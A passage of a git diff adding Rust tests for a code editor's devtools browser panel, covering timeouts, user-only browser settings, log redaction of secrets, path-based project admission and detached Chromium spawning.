+        .strip_prefix(&format!("{PANEL}#thread="))
+        .unwrap_or_else(|| panic!("the panel URL with the thread fragment: {opened}"));
+    assert_ne!(thread, editor, "a NEW thread, never the editor's");
+    assert!(
+        cx.update(|cx| crate::devtools_threads::is_devtools_of(thread, Path::new("/p/app"), cx)),
+        "R4.1: the fragment names a devtools thread of this project"
+    );
+}
+
+#[gpui::test]
+async fn hostile_the_explicit_actions_win_over_the_setting(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let mut win = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let announce = open_session(1);
+    announce.handle(dev_hello("/p/app"), &win.app_state(), cx);
+    // Setting `isolated`, action "my browser": the system browser opens the panel.
+    set_browser_setting("isolated", cx);
+    open_in_browser(&mut win, Some(BrowserTarget::System));
+    assert!(
+        cx.opened_url().is_some_and(|u| u.starts_with(PANEL)),
+        "R4.6: `open in browser (my browser)` ignores the isolated setting"
+    );
+}
+
+#[gpui::test]
+async fn a_project_not_connected_is_started_then_opened_once_it_announces(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    fs.insert_tree(
+        "/r/app",
+        json!({ "package.json": json!({ "scripts": { "dev": "vite" } }).to_string() }),
+    )
+    .await;
+    let mut win = window(&fs, "/r/app", None, cx).await;
+    set_browser_setting("system", cx);
+    open_in_browser(&mut win, None);
+    assert!(
+        cx.opened_url().is_none(),
+        "R4.2: nothing to open before the announce"
+    );
+    let announce = open_session(1);
+    announce.handle(dev_hello("/r/app"), &win.app_state(), cx);
+    win.cx.run_until_parked();
+    assert!(
+        cx.opened_url()
+            .is_some_and(|u| u.starts_with(&format!("{PANEL}#thread="))),
+        "R4.2: opened after the announce"
+    );
+}
+
+#[gpui::test]
+async fn hostile_the_wait_for_an_announce_ends_at_60_seconds_and_stays_cancelled(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    fs.insert_tree(
+        "/r/app",
+        json!({ "package.json": json!({ "scripts": { "dev": "vite" } }).to_string() }),
+    )
+    .await;
+    let mut win = window(&fs, "/r/app", None, cx).await;
+    set_browser_setting("system", cx);
+    let before = win.notifications();
+    open_in_browser(&mut win, None);
+
+    win.cx
+        .executor()
+        .advance_clock(std::time::Duration::from_secs(59));
+    win.cx.run_until_parked();
+    assert!(cx.opened_url().is_none());
+    assert_eq!(win.notifications(), before, "still waiting at 59 s");
+
+    win.cx
+        .executor()
+        .advance_clock(std::time::Duration::from_secs(2));
+    win.cx.run_until_parked();
+    assert!(
+        cx.opened_url().is_none(),
+        "R4.7: no browser after the timeout"
+    );
+    assert!(
+        win.notifications() > before,
+        "R4.7: R1.6's message is shown"
+    );
+
+    let late = open_session(1);
+    late.handle(dev_hello("/r/app"), &win.app_state(), cx);
+    win.cx.run_until_parked();
+    assert!(
+        cx.opened_url().is_none(),
+        "R4.7: the cancelled open never fires late"
+    );
+}
diff --git a/crates/agent_ui/src/browser_channel_tests/devtools_browser_guards.rs b/crates/agent_ui/src/browser_channel_tests/devtools_browser_guards.rs
new file mode 100644
index 0000000..83c0be0
--- /dev/null
+++ b/crates/agent_ui/src/browser_channel_tests/devtools_browser_guards.rs
@@ -0,0 +1,386 @@
+// Story 055, task 13.1 — guards around `devtools: open in browser` beyond the pre-authored
+// `devtools_browser.rs` (design.md §B6-B7, Security Considerations; fix cycle 1). Wired INSIDE
+// `src/browser_channel.rs` (filter `cargo test -p agent_ui devtools_browser`):
+//
+//     #[cfg(test)]
+//     #[path = "browser_channel_tests/devtools_browser_guards.rs"]
+//     mod devtools_browser_guards;
+//
+// Hostile halves:
+//   - `devtools.browser` and `devtools.browser_extension_path` are the user's only (deviation
+//     12.1). The keys share the project section with `devtools.dev_command`, so a project's
+//     `.zed/settings.json` can write them: a project file naming the system browser and an
+//     extension directory that really holds a manifest changes neither, while the same file's
+//     `dev_command` is read — proof the file was loaded and the keys were not merely missed;
+//   - one deadline (12.2): the open waits on the run `devtools: start` launched, so R1.6 shows
+//     once, from that run's timer, and the open ends with it; a second open after that timeout
+//     gets a full deadline of its own, not an instant cancel;
+//   - a start whose command cannot be resolved ends the open AT ONCE, with no R1.6 "did not
+//     connect" 60 s later for a server that never ran;
+//   - a Chromium that fails to spawn is logged with its root and a quoted error, never the URL;
+//     an extension directory without a manifest is logged, not silently dropped;
+//   - the Chromium command carries no `LD_LIBRARY_PATH` (an AppImage's bundled libraries).
+
+use std::ffi::OsStr;
+use std::path::{Path, PathBuf};
+use std::time::Duration;
+
+use gpui::{TestAppContext, UpdateGlobal as _};
+use serde_json::{Value, json};
+use settings::{Settings as _, SettingsLocation};
+use util::rel_path::RelPath;
+
+use super::logged_lines;
+use super::test_support::*;
+use crate::devtools_browser::{
+    BrowserTarget, CHROMIUM_NOT_FOUND, DevtoolsBrowserSettings, Launch, Opened, chromium_command,
+    execute, expand_home, spawn_detached, usable_extension,
+};
+use crate::devtools_run::DevtoolsSettings;
+
+const PANEL: &str = "http://localhost:5174";
+
+fn set_system_browser(cx: &mut TestAppContext) {
+    cx.update(|cx| {
+        settings::SettingsStore::update_global(cx, |store, cx| {
+            store
+                .set_user_settings(
+                    &json!({ "devtools": { "browser": "system" } }).to_string(),
+                    cx,
+                )
+                .expect("the devtools settings parse");
+        });
+    });
+}
+
+fn open_in_browser(win: &mut Win) {
+    win.workspace
+        .update_in(&mut win.cx, |workspace, window, cx| {
+            crate::devtools_browser::open_in_browser(workspace, None, window, cx)
+        });
+    win.cx.run_until_parked();
+}
+
+fn advance(win: &mut Win, seconds: u64) {
+    win.cx
+        .executor()
+        .advance_clock(Duration::from_secs(seconds));
+    win.cx.run_until_parked();
+}
+
+fn dev_hello(root: &str) -> Value {
+    json!({
+        "v": 2, "kind": "hello", "id": "h",
+        "client": {
+            "kind": "dev_server", "root": root,
+            "app_url": "http://localhost:5173", "panel_url": PANEL
+        }
+    })
+}
+
+/// How many logged lines start with `prefix` and contain `needle`.
+fn logged(prefix: &str, needle: &str) -> usize {
+    logged_lines()
+        .iter()
+        .filter(|line| line.starts_with(prefix) && line.contains(needle))
+        .count()
+}
+
+#[gpui::test]
+async fn hostile_a_project_file_cannot_choose_the_browser_or_the_extension(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let project_settings = json!({
+        "devtools": {
+            "browser": "system",
+            "browser_extension_path": "/q/app/ext",
+            "dev_command": "echo from-project",
+        }
+    });
+    fs.insert_tree(
+        "/q/app",
+        json!({
+            ".zed": { "settings.json": project_settings.to_string() },
+            "ext": { "manifest.json": "{}" },
+        }),
+    )
+    .await;
+    let win = window(&fs, "/q/app", None, cx).await;
+    win.cx.run_until_parked();
+    let worktree_id = win.workspace.read_with(&win.cx, |workspace, cx| {
+        workspace
+            .project()
+            .read(cx)
+            .visible_worktrees(cx)
+            .next()
+            .expect("the project's worktree")
+            .read(cx)
+            .id()
+    });
+
+    cx.update(|cx| {
+        let location = SettingsLocation {
+            worktree_id,
+            path: RelPath::empty(),
+        };
+        assert_eq!(
+            DevtoolsSettings::get(Some(location), cx)
+                .dev_command
+                .as_deref(),
+            Some("echo from-project"),
+            "the project file was loaded"
+        );
+        assert_eq!(
+            DevtoolsBrowserSettings::user(cx),
+            &DevtoolsBrowserSettings {
+                browser: BrowserTarget::Isolated,
+                extension_path: None,
+            },
+            "a project file chooses neither the browser nor the extension"
+        );
+    });
+}
+
+#[gpui::test]
+async fn the_user_settings_choose_the_browser_and_the_extension(cx: &mut TestAppContext) {
+    init(cx);
+    cx.update(|cx| {
+        assert_eq!(
+            DevtoolsBrowserSettings::user(cx).browser,
+            BrowserTarget::Isolated,
+            "R4.3: isolated is the default"
+        );
+        settings::SettingsStore::update_global(cx, |store, cx| {
+            store
+                .set_user_settings(
+                    &json!({
+                        "devtools": { "browser": "system", "browser_extension_path": "/ext" }
+                    })
+                    .to_string(),
+                    cx,
+                )
+                .expect("the devtools settings parse");
+        });
+        assert_eq!(
+            DevtoolsBrowserSettings::user(cx),
+            &DevtoolsBrowserSettings {
+                browser: BrowserTarget::System,
+                extension_path: Some(PathBuf::from("/ext")),
+            }
+        );
+    });
+}
+
+#[gpui::test]
+async fn hostile_one_deadline_governs_the_open_and_r1_6_shows_once(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    fs.insert_tree(
+        "/r/app",
+        json!({ "package.json": json!({ "scripts": { "dev": "vite" } }).to_string() }),
+    )
+    .await;
+    let mut win = window(&fs, "/r/app", None, cx).await;
+    set_system_browser(cx);
+    let before = win.notifications();
+    open_in_browser(&mut win);
+    advance(&mut win, 61);
+
+    assert_eq!(
+        logged("devtools_run event=not_announced", ""),
+        1,
+        "one timer, the run's own: {:#?}",
+        logged_lines()
+    );
+    assert_eq!(
+        logged("devtools_browser event=cancelled", "reason=not_announced"),
+        1,
+        "the open ended with it"
+    );
+    assert_eq!(win.notifications(), before + 1, "R1.6's message, once");
+    assert!(cx.opened_url().is_none(), "R4.7: no browser");
+
+    // The server still runs, silent: a second open waits a full deadline again.
+    open_in_browser(&mut win);
+    advance(&mut win, 59);
+    assert_eq!(
+        logged("devtools_browser event=cancelled", "reason=not_announced"),
+        1,
+        "not cancelled at once by the earlier timeout"
+    );
+    advance(&mut win, 2);
+    assert_eq!(
+        logged("devtools_browser event=cancelled", "reason=not_announced"),
+        2
+    );
+    assert_eq!(win.notifications(), before + 1, "still one R1.6 notice");
+    assert!(cx.opened_url().is_none());
+}
+
+#[gpui::test]
+async fn hostile_a_start_that_cannot_resolve_ends_the_open_at_once_without_r1_6(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    // `/p/app` holds no package.json: there is no dev script to run.
+    let mut win = window(&fs, "/p/app", None, cx).await;
+    set_system_browser(cx);
+    let before = win.notifications();
+    open_in_browser(&mut win);
+
+    assert_eq!(
+        logged("devtools_browser event=cancelled", "reason=run_ended"),
+        1,
+        "the wait ends promptly: {:#?}",
+        logged_lines()
+    );
+    let after_start = win.notifications();
+    assert_eq!(after_start, before + 1, "only R1.4's \"no dev script\"");
+
+    advance(&mut win, 61);
+    assert_eq!(
+        win.notifications(),
+        after_start,
+        "no R1.6 for a server that never ran"
+    );
+    assert_eq!(logged("devtools_run event=not_announced", ""), 0);
+
+    let late = open_session(1);
+    late.handle(dev_hello("/p/app"), &win.app_state(), cx);
+    win.cx.run_until_parked();
+    assert!(cx.opened_url().is_none(), "the cancelled open never fires");
+}
+
+#[test]
+fn hostile_a_chromium_that_fails_to_spawn_is_logged_without_the_url() {
+    let url = format!("{PANEL}/?secret=1#thread=t-1");
+    let launch = Launch::Chromium {
+        program: PathBuf::from("/nonexistent/zeo-test/chromium"),
+        args: vec![format!("--app={url}")],
+    };
+    let opened = execute(Path::new("/p/app"), &url, launch);
+    assert_eq!(
+        opened,
+        Opened::Default {
+            url,
+            notice: Some(CHROMIUM_NOT_FOUND.to_string()),
+        },
+        "R4.4: the default browser, with the notice"
+    );
+    let lines = logged_lines();
+    let line = lines
+        .iter()
+        .find(|line| line.starts_with("devtools_browser event=chromium_spawn_failed"))
+        .unwrap_or_else(|| panic!("the failure is logged: {lines:#?}"));
+    assert!(line.contains(" root=/p/app "), "{line}");
+    assert!(
+        line.contains(r#"program="/nonexistent/zeo-test/chromium""#),
+        "{line}"
+    );
+    assert!(
+        line.contains(" error=\""),
+        "the error is a quoted value: {line}"
+    );
+    assert!(!line.contains("secret"), "never the URL: {line}");
+}
+
+#[test]
+fn hostile_an_extension_without_a_manifest_is_logged_and_skipped() {
+    let dir = tempfile::tempdir().expect("tempdir");
+    let empty = dir.path().join("empty ext");
+    std::fs::create_dir(&empty).expect("mkdir");
+    assert_eq!(usable_extension(Path::new("/p/app"), Some(&empty)), None);
+    let lines = logged_lines();
+    let line = lines
+        .iter()
+        .find(|line| line.starts_with("devtools_browser event=extension_skipped"))
+        .unwrap_or_else(|| panic!("the skip is logged: {lines:#?}"));
+    assert!(line.contains(" root=/p/app "), "{line}");
+    assert!(line.contains(" reason=no_manifest "), "{line}");
+    assert!(
+        line.contains(&format!("path={:?}", empty.display().to_string())),
+        "the path, quoted: {line}"
+    );
+
+    let real = dir.path().join("ext");
+    std::fs::create_dir(&real).expect("mkdir");
+    std::fs::write(real.join("manifest.json"), "{}").expect("write");
+    assert_eq!(
+        usable_extension(Path::new("/p/app"), Some(&real)),
+        Some(real.clone())
+    );
+    assert_eq!(usable_extension(Path::new("/p/app"), None), None);
+}
+
+#[test]
+fn a_leading_tilde_is_the_home_directory() {
+    let home = Path::new("/home/op");
+    assert_eq!(
+        expand_home(Path::new("~/zeo-browser/dist"), home),
+        PathBuf::from("/home/op/zeo-browser/dist")
+    );
+    assert_eq!(
+        expand_home(Path::new("/opt/ext"), home),
+        PathBuf::from("/opt/ext")
+    );
+    assert_eq!(
+        expand_home(Path::new("~other/ext"), home),
+        PathBuf::from("~other/ext"),
+        "another user's home is not guessed"
+    );
+}
+
+#[test]
+fn hostile_the_chromium_command_drops_ld_library_path() {
+    let command = chromium_command(
+        Path::new("/usr/bin/chromium"),
+        &["--no-first-run".to_string()],
+    );
+    assert!(
+        command
+            .get_envs()
+            .any(|(key, value)| key == OsStr::new("LD_LIBRARY_PATH") && value.is_none()),
+        "removed from the child's environment, whatever Zeo's holds"
+    );
+    assert_eq!(
+        command.get_args().collect::<Vec<_>>(),
+        vec![OsStr::new("--no-first-run")]
+    );
+}
+
+/// The spawned process itself: its three streams are `/dev/null` (async-process resets them to
+/// inherited unless they are set after converting the std command) and it leads a process group
+/// of its own.
+#[cfg(target_os = "linux")]
+#[test]
+fn hostile_the_spawned_browser_has_no_streams_of_zeo_and_its_own_process_group() {
+    let dir = tempfile::tempdir().expect("tempdir");
+    let report = dir.path().join("report");
+    // The shell's own descriptors, read before any redirection of its own.
+    let script = r#"input=$(readlink /proc/$$/fd/0); out=$(readlink /proc/$$/fd/1); err=$(readlink /proc/$$/fd/2); pgid=$(cut -d' ' -f5 /proc/$$/stat); printf '%s\n' "$input" "$out" "$err" "$$" "$pgid" > "$1.tmp" && mv "$1.tmp" "$1""#;
+    spawn_detached(
+        Path::new("/bin/sh"),
+        &[
+            "-c".to_string(),
+            script.to_string(),
+            "sh".to_string(),
+            report.display().to_string(),
+        ],
+    )
+    .expect("spawn /bin/sh");
+    let deadline = std::time::Instant::now() + Duration::from_secs(10);
+    while !report.exists() && std::time::Instant::now() < deadline {
+        std::thread::sleep(Duration::from_millis(20));
+    }
+    let report = std::fs::read_to_string(&report).expect("the child wrote its report");
+    let lines: Vec<&str> = report.lines().map(str::trim).collect();
+    assert_eq!(
+        lines.get(..3),
+        Some(&["/dev/null", "/dev/null", "/dev/null"][..]),
+        "{report}"
+    );
+    assert_eq!(lines.get(3), lines.get(4), "pid == pgid: {report}");
+}
diff --git a/crates/agent_ui/src/browser_channel_tests/devtools_logs.rs b/crates/agent_ui/src/browser_channel_tests/devtools_logs.rs
new file mode 100644
index 0000000..d8c4005
--- /dev/null
+++ b/crates/agent_ui/src/browser_channel_tests/devtools_logs.rs
@@ -0,0 +1,227 @@
+// Story 055, tasks 9.1 and 11.1 — Zeo's log lines for panel sessions (design.md §B4 "Logs").
+// Requirements: R9.1, R9.2 (Q15). Wired INSIDE `src/browser_channel.rs` beside 045's modules:
+//
+//     #[cfg(test)]
+//     #[path = "browser_channel_tests/devtools_logs.rs"]
+//     mod devtools_logs;
+//
+// Filter: `cargo test -p agent_ui browser_channel::devtools_logs` (also run by 11.1's
+// `cargo test -p agent_ui browser_channel`).
+//
+// Log capture: story 031's thread-local capture in `thread_organization::test_helpers`
+// (`capture_logs`, `all_lines_lowercased`). A test binary can install ONE process-wide logger, so a
+// second capture here would make one of the two suites panic; materializing this file therefore
+// widens that module and those two functions from `pub(super)` to `pub(crate)` (test support only,
+// no production change).
+//
+// What a "devtools line" is: any captured line naming the project root (`root=/p/app`). Lines are
+// compared lowercased (the capture's form); roots and thread ids in these tests are lowercase.
+//
+// Hostile halves first:
+//   - R9.2: the text the operator sends and a secret in an attached page URL's QUERY never appear
+//     in any line, at any level — while the send itself IS logged with its thread id (so the
+//     absence is not just a missing line);
+//   - every devtools line is key=value after its `event=` token — a line that logs a value with an
+//     unquoted space breaks every parser downstream (Q15).
+
+use acp_thread::StubAgentConnection;
+use gpui::TestAppContext;
+use serde_json::{Value, json};
+
+use super::test_support::*;
+use crate::thread_organization::test_helpers::{all_lines_lowercased, capture_logs};
+
+const SECRET_TEXT: &str = "secret-prompt-5d1e";
+const SECRET_QUERY: &str = "token=secret-query-7c1";
+
+fn dev_hello(root: &str) -> Value {
+    json!({
+        "v": 2, "kind": "hello", "id": "h",
+        "client": {
+            "kind": "dev_server", "root": root,
+            "app_url": "http://localhost:5173/", "panel_url": "http://localhost:5174/"
+        }
+    })
+}
+
+fn panel_hello(root: &str) -> Value {
+    json!({ "v": 2, "kind": "hello", "id": "h", "client": { "kind": "panel", "root": root } })
+}
+
+fn element(page_url: &str) -> Value {
+    json!({
+        "type": "element",
+        "page_url": page_url,
+        "selector": "#save",
+        "html": "<button id=\"save\">Save</button>",
+        "dom": {
+            "tag": "button", "id": "save", "classes": [], "text": "Save",
+            "attrs": {}, "styles": {}, "rect": { "x": 0, "y": 0, "w": 10, "h": 10 }
+        }
+    })
+}
+
+fn devtools_lines() -> Vec<String> {
+    all_lines_lowercased()
+        .into_iter()
+        .filter(|line| line.contains("root=/p/app"))
+        .collect()
+}
+
+/// The tokens after `event=` must all be `key=value`, a value either bare (no space) or quoted.
+fn assert_key_values(line: &str) {
+    let start = line
+        .find("event=")
+        .unwrap_or_else(|| panic!("a devtools line names its event: {line}"));
+    let mut rest = &line[start..];
+    while !rest.is_empty() {
+        rest = rest.trim_start();
+        if rest.is_empty() {
+            break;
+        }
+        let eq = rest
+            .find('=')
+            .unwrap_or_else(|| panic!("not key=value at {rest:?} in {line}"));
+        let key = &rest[..eq];
+        assert!(
+            !key.is_empty() && key.chars().all(|c| c.is_ascii_lowercase() || c == '_'),
+            "bad key {key:?} in {line}"
+        );
+        let value = &rest[eq + 1..];
+        if let Some(quoted) = value.strip_prefix('"') {
+            let end = quoted
+                .find('"')
+                .unwrap_or_else(|| panic!("unterminated quote in {line}"));
+            rest = &quoted[end + 1..];
+        } else {
+            let end = value.find(' ').unwrap_or(value.len());
+            assert!(end > 0, "empty value for {key} in {line}");
+            rest = &value[end..];
+        }
+    }
+}
+
+fn reply(msgs: &[Value], id: &str) -> Value {
+    msgs.iter()
+        .find(|m| m["id"] == id)
+        .cloned()
+        .unwrap_or_else(|| panic!("no reply to {id}: {msgs:?}"))
+}
+
+#[gpui::test]
+async fn hostile_a_send_is_logged_with_its_thread_but_never_its_text_or_url_query(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    capture_logs();
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let announce = open_session(1);
+    announce.handle(dev_hello("/p/app"), &app.app_state(), cx);
+    let panel = open_session(2);
+    panel.handle(panel_hello("/p/app"), &app.app_state(), cx);
+    panel.drain(cx);
+    panel.handle(
+        request("create_thread", "c", json!({})),
+        &app.app_state(),
+        cx,
+    );
+    let created = reply(&panel.drain(cx), "c");
+    let thread = created["thread"]["thread_id"]
+        .as_str()
+        .expect("created")
+        .to_lowercase();
+    panel.handle(
+        request(
+            "subscribe",
+            "s",
+            json!({ "target": { "thread_id": thread } }),
+        ),
+        &app.app_state(),
+        cx,
+    );
+    panel.drain(cx);
+    panel.handle(
+        request(
+            "send",
+            "m",
+            json!({
+                "text": SECRET_TEXT,
+                "attachments": [element(&format!("http://localhost:5173/page?{SECRET_QUERY}"))]
+            }),
+        ),
+        &app.app_state(),
+        cx,
+    );
+    panel.drain(cx);
+
+    let all = all_lines_lowercased();
+    for line in &all {
+        assert!(
+            !line.contains(SECRET_TEXT),
+            "R9.2: message text logged: {line}"
+        );
+        assert!(
+            !line.contains(SECRET_QUERY),
+            "R9.2: URL query logged: {line}"
+        );
+    }
+    let lines = devtools_lines();
+    assert!(
+        lines
+            .iter()
+            .any(|l| l.contains(&thread) && (l.contains("event=panel_send") || l.contains("send"))),
+        "R9.1: the send is logged with its thread id: {lines:#?}"
+    );
+    assert!(
+        lines
+            .iter()
+            .any(|l| l.contains(&thread) && l.contains("create")),
+        "R9.1: the create is logged with its thread id: {lines:#?}"
+    );
+}
+
+#[gpui::test]
+async fn panel_session_open_close_and_refusal_are_logged_with_the_root_as_key_values(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    capture_logs();
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let panel = open_session(7);
+    panel.handle(panel_hello("/p/app"), &app.app_state(), cx);
+    panel.drain(cx);
+    let opened = devtools_lines().len();
+    assert!(
+        opened >= 1,
+        "R9.1: the panel session opening is logged with its root"
+    );
+
+    panel.handle(
+        request(
+            "subscribe",
+            "s",
+            json!({ "target": { "thread_id": "00000000-0000-0000-0000-000000000000" } }),
+        ),
+        &app.app_state(),
+        cx,
+    );
+    assert_eq!(reply(&panel.drain(cx), "s")["error"], "not_found");
+    let after_refusal = devtools_lines().len();
+    assert!(
+        after_refusal > opened,
+        "R9.1: the refusal is logged with the root"
+    );
+
+    cx.update(|cx| super::close_session(panel.id.clone(), cx));
+    cx.run_until_parked();
+    assert!(
+        devtools_lines().len() > after_refusal,
+        "R9.1: the close is logged with the root"
+    );
+
+    for line in devtools_lines() {
+        assert_key_values(&line);
+    }
+}
diff --git a/crates/agent_ui/src/browser_channel_tests/devtools_projects.rs b/crates/agent_ui/src/browser_channel_tests/devtools_projects.rs
new file mode 100644
index 0000000..77196a1
--- /dev/null
+++ b/crates/agent_ui/src/browser_channel_tests/devtools_projects.rs
@@ -0,0 +1,383 @@
+// Story 055, task 9.1 — connected projects, panel-hello admission and the open state
+// (design.md §B2, Assumptions A1, A4). Requirements: R2.2, R2.3, R2.4, R7.1, R7.3, R7.6 (Q4, Q5).
+// R9.1-R9.2 (Zeo's log lines) are proved in `devtools_logs.rs`. Wired INSIDE `src/browser_channel.rs`
+// beside 045's modules, so it reuses `test_support` and its path matches the Validation filter
+// `cargo test -p agent_ui devtools_projects`:
+//
+//     #[cfg(test)]
+//     #[path = "browser_channel_tests/devtools_projects.rs"]
+//     mod devtools_projects;
+//
+// Driven the way the bridge drives it: `hello` messages through `handle_session_message`, session
+// ends through `close_session`, windows opened and closed with 045's `window()` harness.
+// Seams (design.md §B2 Interface), each named in ONE helper below: `connected()` reads
+// `DevtoolsProjects::global(cx).read(cx).project_for(&Path)` (`app_url`, `panel_url`, `open`);
+// `is_open()` reads `is_open(&Path)`; `announced()` subscribes to
+// `DevtoolsProjectsEvent::Announced(root)`. A panel hello is admitted HERE (task 9.1), with no
+// approval prompt, answered `welcome` then the current state.
+//
+// Hostile halves first:
+//   - "inside a worktree" is a path rule, not a string prefix: `/p/app-other` is NOT inside the
+//     open `/p/app` (wrongly collapsed by `starts_with` on strings), while `/p/app/sub` IS
+//     (wrongly split by an exact-match rule);
+//   - one dev server per root (A4) in both directions: two different roots stay two entries, and
+//     the same root spelled `/p/app/` replaces `/p/app` — ending the older session;
+//   - the last window: closing ONE of two windows on the root sends nothing; closing the last sends
+//     `project_closed` to the announce AND the panel session of that root, and to no session of
+//     another root;
+//   - R7.6, the state a panel hello gets comes from the WORKTREES, never from the announce: an open
+//     root with NO announce answers `project_open` (wrongly closed if read from the registry),
+//     and an announced root with no open window answers `project_closed` (wrongly open if read
+//     from the announce);
+//   - quitting Zeo closes every root at once (R7.1), not only the one a window event names.
+
+use std::cell::RefCell;
+use std::path::{Path, PathBuf};
+use std::rc::Rc;
+
+use gpui::TestAppContext;
+use serde_json::{Value, json};
+
+use super::close_session;
+use super::test_support::*;
+
+fn dev_hello(root: &str, port: u16) -> Value {
+    json!({
+        "v": 2,
+        "kind": "hello",
+        "id": "h",
+        "client": {
+            "kind": "dev_server",
+            "root": root,
+            "app_url": format!("http://localhost:{port}"),
+            "panel_url": format!("http://localhost:{}", port + 1)
+        }
+    })
+}
+
+fn panel_hello(root: &str) -> Value {
+    json!({ "v": 2, "kind": "hello", "id": "h", "client": { "kind": "panel", "root": root } })
+}
+
+/// (app_url, panel_url, open) of the connected project at `root`, if any. The one seam line.
+fn connected(root: &str, cx: &mut TestAppContext) -> Option<(String, String, bool)> {
+    cx.update(|cx| {
+        crate::devtools_projects::DevtoolsProjects::global(cx)
+            .read(cx)
+            .project_for(Path::new(root))
+            .map(|p| (p.app_url.to_string(), p.panel_url.to_string(), p.open))
+    })
+}
+
+fn is_open(root: &str, cx: &mut TestAppContext) -> bool {
+    cx.update(|cx| {
+        crate::devtools_projects::DevtoolsProjects::global(cx)
+            .read(cx)
+            .is_open(Path::new(root))
+    })
+}
+
+/// Every root `Announced` names from now on.
+fn announced(cx: &mut TestAppContext) -> Rc<RefCell<Vec<PathBuf>>> {
+    let seen = Rc::new(RefCell::new(Vec::new()));
+    let sink = seen.clone();
+    cx.update(|cx| {
+        let projects = crate::devtools_projects::DevtoolsProjects::global(cx);
+        cx.subscribe(&projects, move |_, event, _| {
+            #[allow(irrefutable_let_patterns)]
+            if let crate::devtools_projects::DevtoolsProjectsEvent::Announced(root) = event {
+                sink.borrow_mut().push(root.clone());
+            }
+        })
+        .detach();
+    });
+    seen
+}
+
+fn has(msgs: &[Value], kind: &str) -> bool {
+    msgs.iter().any(|m| m["kind"] == kind)
+}
+
+#[gpui::test]
+async fn hostile_a_sibling_whose_name_extends_the_open_root_is_not_open(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let win = window(&fs, "/p/app", None, cx).await;
+    let announce = open_session(1);
+    announce.handle(dev_hello("/p/app-other", 5173), &win.app_state(), cx);
+    let (_, _, open) = connected("/p/app-other", cx).expect("recorded even when not open (R2.3)");
+    assert!(!open, "/p/app-other does not lie inside /p/app");
+    let got = announce.drain(cx);
+    assert!(
+        has(&got, "project_closed"),
+        "R2.3: told it is closed: {got:?}"
+    );
+    assert!(!announce.closed(), "R2.3: the session is kept");
+}
+
+#[gpui::test]
+async fn a_root_inside_an_open_worktree_is_open(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let win = window(&fs, "/p/app", None, cx).await;
+    let announce = open_session(1);
+    announce.handle(dev_hello("/p/app/sub", 5173), &win.app_state(), cx);
+    let (app_url, panel_url, open) = connected("/p/app/sub", cx).expect("connected (R2.2)");
+    assert!(open);
+    assert_eq!(app_url, "http://localhost:5173");
+    assert_eq!(panel_url, "http://localhost:5174");
+    assert!(!has(&announce.drain(cx), "project_closed"));
+}
+
+#[gpui::test]
+async fn hostile_two_roots_stay_two_entries(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let win = window(&fs, "/p/app", None, cx).await;
+    let _web = window(&fs, "/p/web", None, cx).await;
+    let app = open_session(1);
+    let web = open_session(2);
+    app.handle(dev_hello("/p/app", 5173), &win.app_state(), cx);
+    web.handle(dev_hello("/p/web", 6173), &win.app_state(), cx);
+    assert!(
+        !app.closed(),
+        "a second root must not end the first root's session"
+    );
+    assert_eq!(
+        connected("/p/app", cx).map(|c| c.0),
+        Some("http://localhost:5173".into())
+    );
+    assert_eq!(
+        connected("/p/web", cx).map(|c| c.0),
+        Some("http://localhost:6173".into())
+    );
+}
+
+#[gpui::test]
+async fn hostile_the_same_root_spelled_differently_replaces_the_older_session(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let win = window(&fs, "/p/app", None, cx).await;
+    let older = open_session(1);
+    let newer = open_session(2);
+    older.handle(dev_hello("/p/app", 5173), &win.app_state(), cx);
+    newer.handle(dev_hello("/p/app/", 7173), &win.app_state(), cx);
+    assert!(
+        older.closed(),
+        "A4: the newer announce ends the older session"
+    );
+    assert!(!newer.closed());
+    assert_eq!(
+        connected("/p/app", cx).map(|c| c.0),
+        Some("http://localhost:7173".into())
+    );
+}
+
+#[gpui::test]
+async fn the_announcing_session_ending_removes_the_project(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let win = window(&fs, "/p/app", None, cx).await;
+    let announce = open_session(1);
+    announce.handle(dev_hello("/p/app", 5173), &win.app_state(), cx);
+    assert!(connected("/p/app", cx).is_some());
+    cx.update(|cx| close_session(announce.id.clone(), cx));
+    cx.run_until_parked();
+    assert!(connected("/p/app", cx).is_none(), "R2.4");
+}
+
+#[gpui::test]
+async fn hostile_a_replaced_session_ending_late_does_not_remove_its_successor(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let win = window(&fs, "/p/app", None, cx).await;
+    let older = open_session(1);
+    let newer = open_session(2);
+    older.handle(dev_hello("/p/app", 5173), &win.app_state(), cx);
+    newer.handle(dev_hello("/p/app", 7173), &win.app_state(), cx);
+    cx.update(|cx| close_session(older.id.clone(), cx));
+    cx.run_until_parked();
+    assert_eq!(
+        connected("/p/app", cx).map(|c| c.0),
+        Some("http://localhost:7173".into()),
+        "the end of the replaced session must not drop the current one"
+    );
+}
+
+#[gpui::test]
+async fn hostile_closing_one_of_two_windows_sends_nothing_closing_the_last_sends_closed(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let mut first = window(&fs, "/p/app", None, cx).await;
+    let mut second = window(&fs, "/p/app", None, cx).await;
+    let _web = window(&fs, "/p/web", None, cx).await;
+    let announce = open_session(1);
+    let panel = open_session(2);
+    let other_root_panel = open_session(3);
